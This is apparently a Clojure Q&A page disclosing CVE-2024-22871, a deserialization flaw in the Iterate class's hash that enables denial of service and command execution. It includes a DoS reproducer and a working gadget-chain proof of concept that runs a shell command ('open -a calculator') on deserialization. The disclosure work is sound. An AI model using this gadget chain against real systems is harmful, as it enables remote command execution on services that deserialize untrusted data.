请参与2024 Clojure 状态调查!

欢迎!请参阅关于页面以了解更多关于如何使用本网站的信息。

+1
Clojure
已关闭

报告漏洞

在 org.clojure:clojure 中存在以下漏洞
- 拒绝服务攻击(clojure 版本 1.2.0 - 1.12.0)

dos

Command Injection

请注意,此漏洞不需要额外的组件。

详细信息
1.12.0-a5 中的 RCE CallGraph
17069252746231706925273707.png

CVE
- CVE-2024-22871

随以下注释关闭:已发布在 Clojure 1.11.2 和 1.12.0-alpha9 中
如以下所述,DoS 攻击可能影响 1.2.0-1.12.0 版本,而带有本地验证的命令执行可能影响 1.9.0-1.12.0 版本
据我观察,目前某些问题与以下情况相似,但是以新的绕过方式出现的。


https://clojure.atlassian.net/browse/CLJ-2204
作者
编辑 作者
我搞不懂,如果全是Java,Clojure又是怎么回事呢?

更新:我理解得对吗?你可以在不使用Clojure的情况下用Java实现同样的功能吗?
作者
操作不当,函数调用图部分依赖于Clojure,如apply、RestFn等。在Clojure版本1.9.0-1.12.0(在Clojure版本poc中)可以通过访问匿名函数类来执行命令,以获取$fn_5920。

1 个回复

+3
作者
被选中 作者
 
最佳答案

在不受信任的数据上使用`ObjectInputStream`固有地很危险,正如该类的文档中自己所说。为什么该书提供的JAR中的那些用类的展示被认为是漏洞呢?

为未来的读者提供更简单的重现方法

(let [out (java.io.ByteArrayOutputStream.)
      obj-out (java.io.ObjectOutputStream. out)
      i (iterate identity nil)]
  (doto (-> i (class) (.getSuperclass) (.getDeclaredField "_hash"))
    (.setAccessible true)
    (.set i (int 1)))
  (.writeObject obj-out (java.util.HashMap. {i nil}))
  (println "Writing is done. Reading...")
  (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
        obj-in (java.io.ObjectInputStream. in)]
    (.readObject obj-in)
    (println "Will never be printed.")))
作者:
是的,ObjectInputStream确实引入了潜在的安全风险。然而,针对这个特定的漏洞,问题并不是讨论导致安全问题的潜在风险。问题在于1.12.0-alpha5版本中,可以构造一个特殊的序列化数据包,这将加剧这些风险的可能危害。这可以在不需要其他依赖的情况下完成,并启用命令执行(看起来process$start是一个新引入的功能)。解序列化通常取决于项目环境,但这个漏洞不需要任何其他依赖,并且是JAR包本身的问题。
明白了。然而,这与1.12.0-alpha5无关——我刚刚添加到答案中的代码可以在1.8.0上运行以重现该行为。并且经过轻微修改,它可以在1.2.0上运行(但在此之前不行,因为在此之前`clojure.lang.Cons`是不可序列化的)。
作者:
是的,这个漏洞仅影响1.12.0-alpha5版本。我还没有对之前的版本进行太多分析,我对它们是否有其他高风险的解序列化漏洞持悲观态度。
顺便说一句,如果可能的话,希望开发人员可以发布CVE,尽管我请求发布CVE,但我还没有收到回复。
作者:
你说的“是”,但写的是与我所说的相反的内容——该漏洞影响了从1.2.0开始的Clojure的_所有_版本。
真的吗?你们是在指由于反序列化导致的命令执行漏洞吗?因为我对Clojure不是很熟悉,我只从我自己的程序分析工具中得到了这个分析结果。
而且,最让我困惑的是core$partial$fn__5920类的生成原理。我用soot分析了clojure.jar。但我还想了解Clojure中core$partial$fn__5920的实际代码。
这个特定的类是从`partial`函数的这个参数数量生成的: https://github.com/clojure/clojure/blob/master/src/clj/clojure/core.clj#L2638
谢谢。由于时差,后续可能难以及时回复。

编辑于
生成命令执行攻击的另一种方法

```clojure
(ns poc.clojure.command)
  (:import (clojure.lang PersistentQueue)
           (java.util HashMap ArrayList))
  (:require clojure.java.process))

(defn set-private-field [obj field-name value]
  (let [field (-> (.getClass obj)
                  (.getDeclaredField field-name))]
    (.setAccessible field true)
    (.set field obj value)))

(defn modify-and-process-model [iterate]
  ;; 创建 PersistentQueue
  (let [model (PersistentQueue/EMPTY)]
    ;; 使用 set-private-field 修改 model
    (set-private-field model "f" iterate)
    ;; 返回修改后的 model
    model))

(defn main []
  ;; 创建 HashMap
  (let [map (HashMap.)
        args ["open" "-a" "calculator"]
       ;; 使用 ns-resolve 获取 start 函数并使用 partial 创建部分应用函数
        fn_start (ns-resolve 'clojure.java.shell 'sh)
        partial-fn (partial apply fn_start)
        ;; 使用 clojure.core/iterate 创建 iterate 实例
        iterate-instance (iterate partial-fn args)]

    (let [model (modify-and-process-model iterate-instance)]
      (set-private-field model "_hash" (int 1))
      (.put map model nil)
      (set-private-field model "_hash" (int 0)))

    ;; 序列化 map
    (let [out (java.io.ByteArrayOutputStream.)
          obj-out (java.io.ObjectOutputStream. out)]
      (.writeObject obj-out map)
      (println "写入完成。读取中...")

      ;; 反序列化
      (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
            obj-in (java.io.ObjectInputStream. in)]
        (.readObject obj-in)))
    )
  )

  ;; 调用 main 函数
(main)
```
by
需要注意的是,在仅仅设置了 'fn start (ns-resolve 'clojure.java.shell 'sh)' 之后,它将影响版本 1.9.0 - 1.12.0,同时也可实现命令执行。
by
我不太明白你最后评论的意思。`clojure.java.shell` 命名空间下的 `sh` 函数用于执行外部命令,所以当然可以运行东西。命令执行机制仍然依赖于 `Iterate` 类实现其哈希的方式。
这是因为我之前版本使用了process $ start,但不幸的是这样新增的功能在1.12.0版本中;稍后检查项目时,发现可以直接使用shell函数直接运行命令。是的,在Iterate类的hash计算中仍然存在问题。
该问题已在1.11.2和1.12.0-alpha9版本的Iterate hashCode()中修复。
...